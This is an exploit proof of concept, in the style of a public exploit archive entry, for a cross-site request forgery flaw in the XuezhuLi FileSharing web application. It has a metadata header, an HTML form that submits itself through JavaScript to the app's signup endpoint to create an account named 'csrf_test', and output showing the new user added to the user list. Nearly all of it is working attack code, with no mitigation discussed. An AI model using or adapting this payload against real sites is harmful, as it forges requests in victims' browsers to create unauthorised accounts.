XuezhuLi FileSharing - Cross-Site Request Forgery (Add User)

<!--	
# Exploit Title: XuezhuLi FileSharing - CSRF(Add User)
# Date: 2016-06-23
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/XuezhuLi
# Software Link: https://github.com/XuezhuLi/FileSharing/archive/master.zip
# Version: Latest commit
# Tested on: Debian [wheezy]
-->

<form name="csrf_poc" action="http://127.0.0.1/vul_test/FileSharing/signup.php" method="POST">
<input type="hidden" name="sign" value="ok">
<input type="hidden" name="newuser" value="csrf_test">

<input type="submit" value="Replay!">
</form>

<script type="text/javascript">document.forms.csrf_poc.submit();</script>

<!--
Output.
#> cat /srv/userlists.txt 
aaaa
csrf_test

-->